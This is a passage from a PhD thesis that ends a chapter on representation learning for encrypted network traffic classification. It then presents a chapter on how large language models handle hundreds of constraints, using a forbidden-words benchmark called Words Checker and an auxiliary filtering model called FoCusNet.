4.6.2 Flow-Level Traffic Classification Results

At last, given that YaTC and NetMamba models were designed for flow representation,

we compare how they perform in a flow-level network traffic classification task.

We take the same two challenging datasets used in the previous section and keep

all flows that have at least 5 packets (the best case for encoders). For all the models

we classify the flow, consisting of its first 5 packets (as in the original papers). Only

per-flow split is available in this case. We train the classification model using both

frozen and unfrozen encoders using the same 3-fold approach.

For Pcap-Encoder, being a packet-level encoder, we adopt a simple majority

vote scheme: Without additional training, we classify the first 5 packets of each

flow and directly assign the flow class based on the majority of the labels of these 5

packets. Since the majority voting classifier requires no training, we can only use

the encoder of Pcap-Encoder in a frozen manner.

We compare the results in Table 4.8. The same conclusions as in the previous

experiment hold: First, all representation learning models struggle to classify the

flow when the encoder is frozen. This confirms that the representation learned during

pre-training fails to effectively capture key features. Performance improves only

when the encoder is unfrozen and allowed to update its weights freely. However, even
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in this case, the results remain comparable to Pcap-Encoder, which achieves similar

performance despite having a frozen encoder and relying on a simple majority-voting

scheme.

We noticed a large difference with respect to the claimed results of ET-BERT on

TLS-120 (macro F1-score of 97.5% [192]). We hypothesise that this difference might

be due to: (i) the artefact introduced in ET-BERT balancing procedure in the test

set; (ii) the undersampling strategy we adopted, which in the case of flows severely

reduces the available samples for training; and (iii) the possible presence of the TLS

Client Hello packet with plain text SNI (the authors do not confirm they removed it

while in the public dataset it is not present) that would make the task trivial.

4.6.3 Model efficiency

Finally, we compare the inference and training time for the different models with

frozen or unfrozen encoders. We measure the time to complete the 3-folds in the

VPN-app, per-flow split setup. Fig. 4.5 reports the results normalized to the Random

Forest (RF) model which is the fastest even if trained on general CPUs. In detail, at

training time, all representation learning models require from 2x to 64x times more

time than the RF. When comparing frozen versus unfrozen training, the time grows

by a 2x - 8x factor, depending on the model. At inference, the efficiency correctly

depends only on the complexity of the model. NetMamba is the most efficient, while
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Pcap-Encoder is the most costly model. This is expected given the more complex

T5 architecture.

Overall, Pcap-Encoder good representation and classification performance is

counterbalanced by being the slowest among the tested models, both at training and

inference time.

4.7 Related Works

Traffic classification has been a traditional problem since the Internet’s birth. Initially

solved by DPI [184], after the adoption of encryption, researchers started using ma-

chine learning [185], deep learning [186–188], and recently representation learning

to face it. Periodically, survey works presented the current state, highlighting the

pitfalls and providing directions for future works. Along the way, several works

explicitly questioned some approaches and suggested best practices to follow. For ex-

ample, Kim et al. [217] compared DPI and simple shallow learning approaches with

different traffic traces, providing general guidelines to correctly compare classifier

performance. Similarly, Dainotti et al. [218] provide recommendations, including

rigorous data collection and common benchmark definition, but do not explicitly

enlist the need for proper and careful data preparation and splitting.

Enlarging the scope to the cybersecurity field, Sommer et al. [219] already in

2010 performed a reality check on the applicability of ML for cybersecurity and

intrusion detection. They identify challenges in experimental data and call for

always asking and answering the Why? question. More recently, Flood et al. [215]

pinpoint issues in datasets commonly used for cybersecurity that can induce bias

in intrusion detection systems. Similarly to our work, Arp et al. [78] highlight the

pitfalls in using machine learning for cybersecurity. They studied top-tier security

conference papers within the past 10 years, confirming that pitfalls are widespread

and demonstrating how individual pitfalls can lead to unrealistic performance and

interpretations. They mention “Spurious Correlations” that can create shortcut

patterns to separate classes. Here, we show that similar problems affect the adoption

of AI-based solutions in traffic classification, highlighting the “sweet danger of sugar”

that representation learning offers, and calling for a checkpoint before continuing to

adopt these technologies blindly.
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Broadening the scope to studies that highlight pitfalls in ML at large, a sub-

stantial body of work has investigated best practices for the general application of

machine learning. This includes studies on various forms of sampling bias and

dataset shift [220–222], as well as the broader implications of biased parameter

selection [223], cherry picking [224], and improper training [198] and evaluation

methods [225]. Our recommendations are designed to address the unique chal-

lenges faced by the networking community, contributing to the adoption of AI-based

solutions thereby, in the effort to define common best practices.

4.8 Discussion

In this chapter, I presented a detailed analysis of state-of-the-art representation

learning works for traffic classification. I highlighted some major pitfalls that

previous work ignored, likely intoxicated by the “sugar” of the results falsely close

to perfection, calling for always asking “Why does a model work?”.

Also, after showing that the representation produced by the previous models

is not informative, this chapter advocated for a frozen testing setup (at least as a

baseline in the design plane). In fact, while the other alternatives only work with

end-to-end training, Pcap-Encoder proved to be the only model that produces a

useful representation for downstream traffic classification tasks. At the same time, its

complexity and performance on par with shallow models (another baseline everyone

shall always include) question its practicability.



Chapter 5

LLMs Constrained Generation with

Hundreds of Constraints

In this last chapter, I discuss my latest contribution from the paper: Boffa, Mat-

teo, et al. “Large-Scale Constraint Generation. Can LLMs Parse Hundreds of

Constraints?”, submitted to ACL 2025.

I conducted this work during a six-month internship at the University of Illinois

Urbana-Champaign (UIUC), where one of my primary objectives was to deepen my

understanding of the latest LLM research in collaboration with leading experts in the

field. Consequently, this contribution is primarily methodological, addressing the

broader research question of how to facilitate the real-world adoption of AI systems,

including in cybersecurity.

Specifically, I focus on the challenge of constrained generation, where an LLM

must produce outputs that are not only correct but also adhere to predefined con-

straints, such as structural or formatting requirements. For instance, in the context

of using LLMs for automated penetration testing [68, 67], a valid response must

meet two conditions: (i) correctness (e.g., successfully capturing the flag) and (ii)

validity (e.g., avoiding the use of outdated software patches). As highlighted in

several surveys and position papers [226, 82, 83], this remains a challenging and

unsolved problem, limiting the full automation of LLM-based applications.

In this chapter, I explore a novel question related to constrained generation: Can

an LLM autonomously retrieve and respect the relevant requirements to generate a

valid answer from a possibly long list of generic and fine-grained constraints? While
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Fig. 5.1 In the proposed problem – Large-Scale Constraint Generation, the model must
generate a valid answer while adhering to an input task and a long list of constraints. In
the example, this can be done either by (a) directly interpreting the concatenated task and
constraints or (b) using a FoCusNet to extract relevant constraints. The first approach may
lead to inappropriate responses (e.g., offering beer to a Muslim [2]), while the second ensures
valid answers.

prior research has largely focused on enhancing LLMs’ reasoning abilities under

increasingly complex constraints, little attention has been given to their ability to

self-retrieve necessary constraints. For example, if provided with up-to-date code

documentation, could an LLM execute a penetration test autonomously – without

human intervention to guide retrieval, as is typically required in approaches like [84]?

5.1 Introduction

Instructions are prompts or directives, written in natural language, that guide the

model to perform a specific task [227]. Constraints are specific forms of instructions

that represent the model’s requirements to generate a valid answer. The recent litera-

ture has extensively studied the constrained generation ability of Large Language

Models (LLMs)– i.e., their capacities to produce valid outputs – in tasks requiring

complex reasoning (e.g., solving multi-step logical puzzles)[228], focus on multiple

requirements and for multiple rounds (e.g., iteratively refining a summary based

on feedback)[229, 230], dealing with long texts (e.g., answering questions about

an entire book chapter)[231, 232], and output formatting (e.g., “the answer must

contain exactly N words”)[233, 234, 226].

In this chapter, I take a step further in defining instruction-following tasks. In

particular, while previous literature has focused on complex but few task-specific

indications, here I focus on scenarios with a high number of fine-grained but general

constraints that the model must respect to generate a valid answer. Consider the
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example in Fig. 5.1. The model faces a social task (e.g., “be a good visitor in

an Islamic country”), and can access a comprehensive travel guide with generic

information on how to achieve the goal (i.e., long list of constraints). Could the LLM,

with the sole aid of the generic travel guide and no other explicit instruction, realise

that “inviting a Muslim for a beer after prayer” [2] is not a good way to solve the

task?

We call this new framework Large-Scale Constraint Generation (LSCG). LSCG

examines whether LLMs can replicate humans’ practical intelligence [235], i.e., the

ability to interpret and adapt to the context. In particular, facing LSCG the model

is not tasked to solve complex reasoning problems, but rather i) to consult broad

and generic guidelines (e.g., travel guide, but also updated documentation while

coding [84, 68]), ii) to identify the requirements relevant for the specific problem,

and iii) to apply them to derive a valid solution.

As it is currently unclear whether and how LLMs’ capabilities could scale with

the hundreds (if not thousands) of constraints that a travel guide or some code

documentation could provide, we implement a concrete instance of LSCG, Words

Checker. We design Words Checker as a simple problem, not requiring particular

reasoning skills, to explicitly study how the performance of LLMs while solving the

task is affected by the number of constraints. In Words Checker, the model is given

as input a list of forbidden words and a sample sentence. The task is to classify the

sentence as valid (i.e., does not contain forbidden words) or invalid (i.e., contains at

least one forbidden word).

We create different instances of Words Checker with increasingly larger lists of

forbidden words (e.g., 100, 500 and 100). Then, we systematically evaluate how

features such as model family – Meta’s LLama [236] vs. Deepseek’s R1 [237]),

size – 8B vs. 70B, and Test Steering Strategies (TSS)– Simple Prompt, Chain of

Thought [238, 239] and Best of N [240, 241] affect the results.

Furthermore, inspired by Retrieval Augmented Generation (RAG) [242] and the

recent literature [243, 244], we propose FoCusNet (Focused Constraints Net), a

lightweight and customizable model to parse the originally large list of constraints

into a smaller set of constraints relevant to the task, helping the LLM to better

focus. In Words Checker, FoCusNet is a ∼ 300k parameters model that we train

to determine whether a set of words is present in a sentence. During inference,

it preprocesses the long list of forbidden words and parses it into a smaller set
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Fig. 5.2 FoCusNet significantly outperforms typical LLM inference methods on the proposed
Words Checker task (DeepSeek-R1-Distill-Llama-8B). Red numbers indicate differences
compared to 100-word scenario.

of potential suspects, allowing the LLM to focus more effectively on meaningful

instances.

The results of a distilled 8B LLM in Words Checker, shown in Fig. 5.2, are

striking: traditional Test Steering Strategies, including simple prompting, suffer a

drastic performance drop – down to ∼ 27.8% accuracy. Manual analysis reveals that

the model often processes words individually, losing focus, and sometimes conflating

its reasoning process with the actual task. For example, it may incorrectly assert that

a word is present simply because it appears in a self-generated list. Our approach

proves the most robust, leveraging the synergy between two models. FoCusNet,

trained to detect the presence of words with accuracy 90%, effectively narrows the

search space (i.e., average of 30 suspicious words out of 1000). The LLM, in turn,

benefits from this reduced scope, filtering out false positives from FoCusNet and

improving overall accuracy.

In sum, our contributions are as follows.

– Large-Scale Constraint Generation: A novel problem to evaluate the ability

of current LLMs to automatically parse a large number of constraints and identify

the relevant ones.

– Words Checker: A practical example of LSCG where the model identifies

invalid sentences as the number of forbidden words increases. We systematically

experiment 2 models (LLama and R1), 2 model sizes (8B and 70B), and 3 TSS

(prompt-based, CoT, Best of N).
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– FoCusNet: A small dedicated model that works in conjunction with the LLM,

helping it to better focus on relevant constraints.

– Code and Datasets: To reproduce Words Checker and FoCusNet and help the

community benchmarking LSCG.

5.2 Related Work

Instruction-Following abilities of LLMs. The challenge of constraining textual

generation has been studied since the early days of NLP [245], but the rise of

LLMs has dramatically increased expectations beyond merely “producing plausible

text” [95, 65]. Modern LLMs are expected to follow complex instructions, handle

multiple constraints across interactions [229, 230], and process long texts [231, 232].

Yet, this problem remains unsolved. Studies show that LLMs struggle with adherence

to rules [246], format following varies widely across domains [226], open-source

models are still behind closed source solutions [228] and smaller models still perform

poorly in structured tasks [247]. Most of the previous evaluations assume interactive

chat-like settings, with few clear user instructions specific to the required task. In

contrast, we contribute to this line of research by examining how LLMs perform

when given an extensive list of fine-grained yet generic requirements to satisfy.

Instruction Tuning. Given these challenges, instruction tuning might seem like a

natural candidate for improving adherence to complex and fine-grained constraints.

Prior work has highlighted its role in enhancing generalization capabilities [248–

250], and even a small set of high-quality instructions can lead to performance

gains [251, 252]. However, despite well-established guidelines for crafting such

instructions [253–255], instruction tuning remains costly and resource-intensive.

This makes it unsuitable for large-scale applications that require customization [256,

257], continuous knowledge updates [242], or, like our example in Fig. 5.2, cultural

adaptation [258, 259]. Instead, we argue that LLMs should, like humans, handle

unfamiliar constraints by leveraging external knowledge sources while relying on

their reasoning abilities to interpret and respond accordingly. Consequently, we do

not employ instruction tuning to further specialize our models.

Test Steering Strategies. Rather than modifying a model through instruction tuning,

an alternative approach is to guide LLM outputs at inference using test-time steering
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strategies. These methods enhance rule adherence without the cost and inflexibility

of fine-tuning. Prior research has explored various controlled generation techniques

to enforce constraints [260]. LLMs have shown strong performance with simple

interventions like Chain-of-Thought (CoT) prompting [261]. However, studies

suggest that such methods alone may be insufficient for handling fine-grained,

hard constraints [233]. To address this, researchers have investigated best-of-K

selection [262, 263], where multiple independent samples are generated, scored,

and ranked to select the most suitable output. Other approaches include rejection-

sampling-based methods [264], reward-model-guided decoding [265, 266], and

constraint-aware streaming algorithms [267, 268]. Building on this body of work,

we assess the rule-following capabilities of LLMs using various test-time steering

strategies.

Auxiliary Modules for LLMs. In this chaper, I present FoCusNet, a modular

support model that enhances LLMs’ ability to follow constraints. Unlike base model

modifications, FoCusNet acts as an auxiliary module that identifies and prioritizes

relevant constraints, guiding the LLM’s generation process. In practise, it provides

an intermediate solution between resource-heavy instruction tuning and simpler

test-time steering methods, which, while more efficient, may struggle with complex

tasks.

Similar approaches using specialized support models for LLMs have been ex-

plored in various text generation tasks. For example, retrieval-augmented generation

(RAG) [242, 244] improves LLM responses by incorporating external knowledge,

while classifier-based safeguards promote responsible generation [269]. Further-

more, researchers have also developed classifier-based content moderation systems

[270–272] and output filtering techniques to address jailbreak vulnerabilities [273],

5.3 Large-Scale Constraint Generation

In this Section, we formally define LSCG, relate Test Steering Strategies techniques

with LSCG and finally introduce FoCusNet.
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5.3.1 Formal Definition

In constrained generation, LLMs autoregressively generate an output sequence y

according to an input task t and a set of constraints c = {c1,c2, . . . ,cC}. LSCG is a

specific case of constrained generation characterized by a large number of constraints

(i.e., C g 100). We suppose both t, and the constraints ci with i∈C to be string-based.

Although this assumption does not cover the most general case (see Sect. 5.6), it is

sufficient to model real-world scenarios such as the travel guide and documentation

examples of Sect. 5.1.

We define the LLM input query: q = e(t) ∥ p(c), where ∥ is the concatenation.

Specifically, here e and p are Test Steering Strategies that can be applied to improve

model performance: e is a function that enhance the definition of the task, while p

helps parsing the constraints. We provide more details in the next section.

We represent the LLM as a function fθ : q → y. This means that the LLM

generates an answer y as y = fθ (q) according to its pre-trained weights θ . A model-

generated answer y is valid for a given query q if it correctly solves the task t while

adhering to the constraints c.

5.3.2 Existing Test Steering Strategies

Here, we list the most prominent TSS previously identified in the literature and

examine how they apply in our formulation. We provide a summary in Tab 5.1.

Table 5.1 Summary of how different steering solutions produces the final query q = e(t) ∥
p(c).

Test steering Enhance - e(t) Parse - p(c)
Simple Prompt t c1 ∥ c2 ∥ · · · ∥ cC

Chain of Though t ∥ g c1 ∥ c2 ∥ · · · ∥ cC

Best of N t ∥ g y1 ∥ y2 ∥ · · · ∥ yN

FoCusNet t ∥ g fφ (c)

Simple Prompt. As both t and c are text-based, a natural approach is to simply

concatenate them: q = t ∥ c1 ∥ c2 ∥ · · · ∥ cC.

Chain of Thought (CoT). To enhance the reasoning capabilities of the LLM, we

modify t by appending a guide phrase g, such as “Think step by step”: q = t ∥ g ∥

c1 ∥ c2 ∥ · · · ∥ cC.
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Best of N. Finally, to improve the interpretation of the C constraints, we can involve

a panel of N judges (e.g., independent runs of the model), each performing CoT

reasoning independently, followed by a recap step to produce the final answer.

Formally, let yn = fn,θ (t ∥ g ∥ c1 ∥ c2 ∥ · · · ∥ cC) denote the answer of the nth judge,

where n ∈ N. Then, we can aggregate all the responses into a refined query: q = t ∥

y1 ∥ y2 ∥ · · · ∥ yN .

5.3.3 FoCusNet

Definition. Here, the goal is to learn an approximation of p(c) : c → k to reduce the

large set of C constraints c to a more compact subset k ∈ K of relevant constraints.

To do that, we introduce a dedicated model, FoCusNet. Specifically, we define

FoCusNet as a function fφ with learnable parameters φ , trained on task-specific

data to filter relevant constraints. Once trained, FoCusNet applies this filtering as

k = fφ (c), which yields the final query formulation: q = t ∥ g ∥ k ∥.

Training FoCusNet. We train FoCusNet to perform a binary classification task over

individual constraints. Specifically, FoCusNet operates on triplets (ĉ,s, l). Here,

ĉ = {c1,c2, . . . ,cM} is a subset of M constraints from c; s is a text-based instance

where the constraint is satisfied or violated, and l ∈ {0,1} is a label indicating

whether the constraint is violated (1) or not (0). For example, consider Fig. 5.1. The

set of constraints is {c1 =“Respect local customs and etiquette when visiting an

Islamic country”}; the instance is s= “Invite a Muslim for a beer”; the corresponding

label l is violated (l = 1).

Inference with FoCusNet. During inference, FoCusNet receives as input the tuple

of constraints and task (c, t) and generates a relevance mask, m = {m1,m2, . . . ,mC}

with mi ∈ {0,1} and i ∈C. The mask determines which constraints are relevant for

the task. Applying the mask yields the reduced set: k = {ci | mi = 1,∀i ∈C}.

As in any alerting system, FoCusNet aims at compromising recall and precision.

Ideally, we would like FoCusNet to reduce the number of false positives, i.e., irrele-

vant constraints mistakenly included. In fact, a large number of false positives leads

to a larger and noisy set k. At the same time, it is essential to minimize false nega-

tives, as excluding relevant constraints could hinder the LLM’s ability to generate

valid outputs.
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Fig. 5.3 Training pipeline of FoCusNet for Words Checker. The model receives as input
a batch of sentences and words. In Phase 1, FoCusNet uses a frozen pre-trained model

to map the input into sentences (circles) and words (squares) embeddings. Then, in Phase
2, FoCusNet learns to refine the sentence embeddings ( fχ ) and to aggregate the words

embeddings ( fγ , fλ ) with a InfoNCE contrastive loss. Eventually, in Phase 3 FoCusNet train
a Random Forest to discriminate positive and negative examples.

5.4 Methodology

In this section, we discuss the engineering of Words Checker and, consequently,

FoCusNet’s training.

5.4.1 Words Checker

Problem Definition. Words Checker is an instance of LSCG, where an LLM

must classify a sentence as valid or invalid based on a dynamically provided list

of forbidden words. Formally, given a sentence S = (w1,w2, . . . ,wn) and a set

of forbidden words F = {w f 1,w f 2, . . . ,w f m}, the model must determine whether

S contains any word morphologically related to an element of F . A sentence is

classified as invalid if ∃w f i ∈ F such that w f i is a root or morphological variant

of any w j ∈ S, and valid otherwise. For example, given the sentence “The athlete

skied a snowy mountain” and F = {ski}, the output should be invalid, since “skied”

is a morphological variant of “ski”. In contrast, for “The bathroom has recently

been cleaned” and F = {restroom}, the output should be valid, as no word in S

morphologically relates to “restroom”.

Ratio behind Words Checker. We explicitly design Words Checker to study the

impact of an increasing number of forbidden words on LLM performance. Therefore,

unlike other constrained generation problems, this task does not require complex
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reasoning. Instead, we engineer Words Checker as a simple problem that an advanced,

morphologically aware string-matching algorithm – without concern for synonyms

– could potentially solve. In summary, Words Checker serves as an in vitro study

on LSCG. At the same time, Words Checker has practical applications. Consider

a scenario where S is the response the LLM generates during a conversation, and

F is the set of words the user explicitly instructed the LLM to avoid (e.g., when

paraphrasing text, for secret keeping, etc.).

Testing Dataset. To construct a dataset for Words Checker, we use the Common-

Gen [274] benchmark, originally designed for traditional constrained text generation.

Each entry in CommonGen consists of a sentence and a variable-sized list of W

words that are morphologically present in it. For example, an entry may contain

“The athlete skied a snowy mountain” with the corresponding words [“ski”, “snow”].

We derive our dataset from two partitions of CommonGen, namely the challenge

train sample and challenge validation sample1. For these partitions, W ranges

from 1 to 4. Given a pool size of candidate forbidden words |F |, we: i) construct a

vocabulary from all CommonGen partitions, and ii) iterate over the selected partitions

to generate valid and invalid samples. To create an invalid example, we retain W

CommonGen words and randomly sample |F |−W additional vocabulary words. For

a valid example, we select |F | random words ensuring that none is morphologically

present in the sentence.

We generate four versions of Words Checker, each containing 1000 sentences,

with increasing constraint complexity: F = {10,100,500,1000}. We generate bal-

anced datasets, with approximately equal support for both classes. Notice that the

1000 sentences are the same across all scenarios.

5.4.2 FoCusNet for Words Checker

Model Description. In the practical scenario of Words Checker, we train FoCusNet

to recognize whether a sentence S contains a set of words W = {w1,w2, . . . ,wn}. The

training pipeline, summarised in Fig. 5.3, is divided into three phases:

Phase 1: We use a frozen pre-trained sentence encoder to obtain the initial

embeddings for the sentence (eS) and the words ({ew1 ,ew2 , . . . ,ewn
}).

1The test partitions of CommonGen do not contain reference sentences.
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Phase 2 Next, we refine these embeddings through two learnable projection

layers. The sentence embeddings are refined with a linear layer fχ : eS → êS, where

êS is the refined sentence embedding. We aggregate the word embeddings into a

single refined embedding eŵ using an attention mechanism [275]. Specifically, given

the embeddings ew1 ,ew2 , . . . ,ewN
, we compute eŵ as:

eŵ =
N

∑
i=1

fγ(ewi
) · fλ (ewi

)

Intuitively, we use this aggregation layer and focus on more words simultaneously

to give the model a broader understanding of the context in which the words are used.

For example, with {W1 = “mount”, “ski”} and W2 ={“mount”, “lake”}, the model

understands that “mount” belongs to both winter- and spring-like scenarios.

We train the layers χ , γ , and λ using the InfoNCE loss [276], which encourages

higher cosine similarities for sentences and words that appear in the same set W .

Specifically, two sentences S1 and S2 from the same batch are considered positive

examples if they share the same set of words, and negative otherwise.

Phase 3: After training the encoder and projection layers, we concatenate the

refined sentence embedding êS and the word embedding eŵ into a final embedding

e f = êS ∥ eŵ. This concatenated embedding is then fed into a Random Forest

classifier, which determines whether the words encoded in eŵ appear in the sentence

S or not.

The last two phases of the training pipeline draw inspiration from the Supervised

Contrastive Loss paper [277], and are designed to learn high-quality embeddings.

Training Dataset. To train FoCusNet, we use the remaining train and validation

partitions from CommonGen. Since more than 80% of the sentences contain a list

of three specific words, we apply synthetic augmentation to the dataset. Given a

sentence (e.g., "The athlete skied a snowy mountain") with three contained words

(e.g., “athlete”, “ski”, “mountain”), we randomly select subsets of one (e.g., “moun-

tain”) or two words (e.g., “athlete”, “ski”). The original sentence remains a valid

positive sample for each subset. This enhancement allows the model to learn from

training examples with varying numbers of words contained, enhancing its gener-

alizability. As we further discuss in Sect.5.6, note that such augmentations, which

exploit logical dependencies, are not specific to this task but generalise across various
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Table 5.2 Results of a DeepSeek-R1-Distill-Llama-8B model using different Test Steering
Strategies as the number of forbidden words |F | increases. The proposed FoCusNet signifi-
cantly outperforms other TSS methods.

Test Steering Strategies
|F |: 100 |F |: 500 |F |: 1000

Acc. Rec. Prec. Acc. Rec. Prec. Acc. Rec. Prec.

Simple Prompt 86.99 97.25 81.01 70.51 87.62 66.33 62.14 82.98 57.52
Chain of Thought 87.70 94.16 83.88 68.20 87.12 63.03 59.90 78.34 56.83

Best of 3 85.60 94.16 80.94 62.70 83.30 58.81 58.40 80.16 55.46
FoCusNet 87.50 79.18 95.76 79.30 81.69 77.78 72.80 84.01 68.26

fields. For example, returning to the example in Fig.5.1, adopting the appropriate

behaviour (e.g., “inviting a Muslim for tea rather than beer”) not only aligns with

the task “How to be a good visitor” but is also consistent with “How to effectively

socialize” and “How to spend quality time with locals while travelling”.

Eventually, the final dataset contains ∼ 220k labelled examples of sentences and

contained words.

5.5 Experiments

In this section, we present the results of traditional Test Steering Strategies and

FoCusNet in Words Checker. While we provide some qualitative insights, our

primary focus is on reporting quantitative metrics (e.g., accuracy, precision, and

recall). A more detailed qualitative analysis, including an examination of specific

model responses, can be found in Appendix D.

5.5.1 Experiments Settings

LLMs Inference. To deploy the LLMs in our Words Checker experiments, we use

SGLang2, an open-source framework that facilitates efficient model downloading and

deployment. Specifically, we select four models from SGLang’s library: Meta-Llama-

3.3-8B-Instruct and Meta-Llama-3.3-70B-Instruct from the LLaMA family [236],

as well as the more recent DeepSeek-R1-Distill-Llama-8B and DeepSeek-R1-Distill-

Llama-70B from DeepSeek [237]. The deployment of the 70B models required

four NVIDIA RTX A6000 GPUs, whereas the 8B models ran efficiently on a single

2https://docs.sglang.ai/index.html
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A6000 GPU. When prompting the models, we set the temperature t to 0.2 for the

Simple Prompt strategy and increase it to 0.4 for more sophisticated TSS. The exact

prompts used are provided in Appendix D.

When using the Best of N strategy, we set N=3.

Training FoCusNet. For the contrastive loss training of FoCusNet, we perform a hy-

perparameter search using 4-fold cross-validation (K = 4), ensuring that all examples

sharing the same word list are assigned to the same fold to prevent data leakage. We

explore embedding sizes {64,128,256,512}, learning rates {1e−4
,2.5e−4

,5e−4},

and InfoNCE loss temperatures {0.05,0.1,0.2}, training for 30 epochs. The best

configuration, determined by averaging validation results, consists of an embed-

ding size of 128, a learning rate of 2.5e−4, a temperature of 0.05, and 24 training

epochs, using all-mpnet-base-v23 as the pre-trained encoder. After selecting the

best encoder, we train a random forest where each sentence is paired with a positive

(words contained in the sentence) and a negative example (words not contained).

A hyperparameter search yields an optimal configuration of 200 trees, a maximum

depth of 10, and a minimum of three samples per leaf.

Metrics. Since Words Checker is a standard binary classification problem, we

evaluate performance using accuracy (overall correctness), precision (the proportion

of predicted positive sentences that actually contain at least one forbidden word), and

recall (the proportion of actual positive sentences correctly identified). Additionally,

for invalid sentences, we assess the model’s parsing ability. To do so, we introduce

parsing precision and parsing recall. For example, given the sentence “The athlete

skied the snowy mountain,” the set of forbidden words {snow, mountain, ski}, and

the model’s prediction {snow, ski, sun, fun}, the parsing recall is 0.66 (2 out of 3

correct words retrieved), while the parsing precision is 0.5 (2 out of 4 predicted

words are correct).

5.5.2 Results

Is Words Checker challenging?. We assess the effectiveness of a simple prompting

strategy and find that all models, regardless of family or size, experience a roughly

30% accuracy drop as the number of forbidden words increases from 10 to 1000

(see Fig. 5.4). In addition (full table on Appendix), more forbidden words lead

3https://huggingface.co/sentence-transformers/all-mpnet-base-v2
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Fig. 5.4 Accuracies with a “Simple Prompt” strategy as the number of forbidden words
increases.

to an increase in false alarms. For example, with 100 forbidden words, LLama

70B has a recall of 97% and precision of 99%, but with 1000 forbidden words, the

recall only decreases to 92%, while the precision drops to 65%. These results show

that, despite simplicity, Words Checker remains challenging for basic prompting

strategies, suggesting that more advanced Test Steering Strategies are needed.

FoCusNet vs. Traditional TSS Limitations. We assess the impact of advanced Test

Steering Strategies, like Chain of Thought and Best of 3, on Words Checker using

Deepseek’s R1-8B model and compare the results with FoCusNet.

Observe the results of Tab. 5.2. With 100 forbidden words, all methods show

similar accuracy. Traditional TSS has better recall, while FoCusNet is more precise.

Chain of Thought provides minimal improvement over Simple Prompt, suggesting

that the LLM is already following a "Think Step by Step" strategy. The Best of 3

strategy does not help, as, for this simple task, too many opinions lead the final LLM

to overthink – even more accentuated in the following scenario. Despite this, the

LLM performs adequately in this case, which serves as our reference as we further

increase the number of forbidden words.

With 500 forbidden words, the recall is similar for both traditional Test Steering

Strategies and FoCusNet, but FoCusNet achieves +9% higher accuracy due to its

better precision. Both Chain of Thought and Best of 3 degrade the performance

of Simple Prompt. We find that forcing the model to reason more in simple tasks

hinders its performance, as the LLM enters repetitive loops, leading to issues such

as: i) confusion between its thought process and the original task, ii) overthinking
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(e.g., , “Should I accept synonyms?” or “Do plurals count?”), and iii) hallucination

of non-existent words. Contrarily, by focusing on smaller subsets of relevant words

(3 for 100 forbidden words, 14 for 500, 30 for 1000), FoCusNet helps the LLM stay

on task and reduce false alarms while maintaining a good recall.

Eventually, with 1000 forbidden words the issues observed in the 500-word case

are amplified, and traditional Test Steering Strategies only performs 10% better than

random guessing – remember that the problem is balanced. Although FoCusNet

performance also declines, it still performs similarly to the 70B-Llama model ( 68%

precision for FoCusNet vs 66% for Llama), which is promising given the ∼ 10 times

smaller LLM we used here.

Parsing skills of LLM + FoCusNet. Lastly, we conduct a deeper evaluation of our

solution, utilizing FoCusNet to enhance the LLM’s performance. While the original

task was a binary classification – determining whether a sentence was valid or invalid

– we now refine our analysis with a more granular approach. Specifically, for invalid

sentences, we assess parsing precision by measuring the proportion of predicted

words that are actually present in the sentence. Additionally, we evaluate parsing

recall by examining how many of the true forbidden words (W ) the LLM correctly

identifies.

Our analysis focuses on approximately 500 invalid sentences, meaning sentences

that contain at least one forbidden word (|W | g 1). This selection allows us to

evaluate the detector’s ability to identify relevant anomalies.

The results are shown in Fig. 5.5, with subfigures B and C providing key insights.

These subfigures plot the percentage of invalid sentences (y-axis) against parsing

precision and recall (x-axis). For example, they show that when using the list of

relevant words identified by FoCusNet, the LLM achieves a parsing precision of

100% for 68% of invalid sentences. Both distributions exhibit a trimodal pattern,

with peaks at 0%, 50%, and 100%. This pattern arises because most invalid sentences

in the test dataset contain either one or two forbidden words (as seen in subfigure A).

Although the number of “perfect predictions” (both precise and accurate) con-

sistently exceeds the number of “bogus predictions” (0% precision and recall),

increasing the number of candidate words (|F |) negatively impacts performance.

Notably, the scenarios with |F |= 100 and |F |= 500 contain the same set of invalid

sentences. This means that the true forbidden words (W ) in these sentences remain

unchanged. For them, FoCusNet always makes the same predictions, irrespective of
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Fig. 5.5 Analysis of recalls and precisions of FoCusNet per invalid sentences

F . However, as the pool of forbidden candidate words (F) grows, FoCusNet may

introduce false positives into the list of relevant words returned to the LLM. These

false alarms mislead the LLM, causing it to make more mistakes, thereby reducing

overall performance.

5.6 Discussion

Conclusions. This chapter introduces Large-Scale Constraint Generation (LSCG), a

new constrained generation problem where Large Language Models (LLMs) must

adhere to a large number of constraints. I designed Words Checker as a controlled

testbed of LSCG in which the model classifies sentences as valid or invalid based on

an increasingly large list of forbidden words.

The experiments evaluated models from various families and sizes, testing tradi-

tional Test Steering Strategies and introducing FoCusNet, a customizable support

module for LLMs. The results highlighted a significant performance drop across all

models as the number of constraints increases. Standard TSS approaches not only fail

to mitigate this decline but often lead models to overthink and hallucinate constraints.

In contrast, FoCusNet proved to be the most resilient, consistently improving the

adherence to the constraints by narrowing the focus of the model.

Despite FoCusNet ’s own limitations, its effectiveness in reducing failure rates

suggests a promising direction for addressing LSCG. With its simplicity and strong

initial results, this study lay the groundwork for future research in constraint-aware

LLM reasoning. By defining LSCG and offering open-source implementations of

Words Checker and FoCusNet, the goal is to inspire the community to explore and

benchmark solutions to this critical challenge.
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Limitations. This work still presents open limitations.

First, while I provided examples of alternative use cases, I focused solely on

a specific instance of Large-Scale Constraint Generation, namely Words Checker.

To better isolate the impact of an increasing number of constraints, I deliberately

designed Words Checker to minimize the role of the LLM reasoning. Although

I believe that this problem has been largely overlooked in prior research, the cur-

rent analysis remains partial and only addresses a scenario involving: i) multiple

constraints and ii) constraints that do not require strong interpretation.

Second, the proposed model, FoCusNet, relies on sufficient task-specific data to

perform well. This dependency may limit the applicability of FoCusNet in scenarios

where task data are scarce. In the chapter, I suggested that augmenting existing

datasets through contrastive loss and logical dependencies between constraints and

input could mitigate this issue. Additionally, as a task-specific model, FoCusNet does

not require extensive generalization, and minor "benign overfitting" is acceptable.

Future work should further explore the trade-off between data availability and

performance, possibly extending the analysis to contexts beyond Words Checker.

Moreover, while I present FoCusNet as a generic add-on module for LLMs,

its architecture has only been evaluated within the Words Checker context. More

research is needed to assess its generalizability and explore how different weight

architectures might affect its performance.

Finally, this work work has focused solely on unstructured textual constraints.

However, in many real-world tasks, constraints can span multiple modalities [270,

271] and structured data [278, 279]. In this regard, FoCusNet’s customisation offers

valuable flexibility, as different architectures could be adapted to better address these

challenges.



Chapter 6

Conclusion and Future Work

Conclusions. In this thesis, I summarize my three years of PhD research.

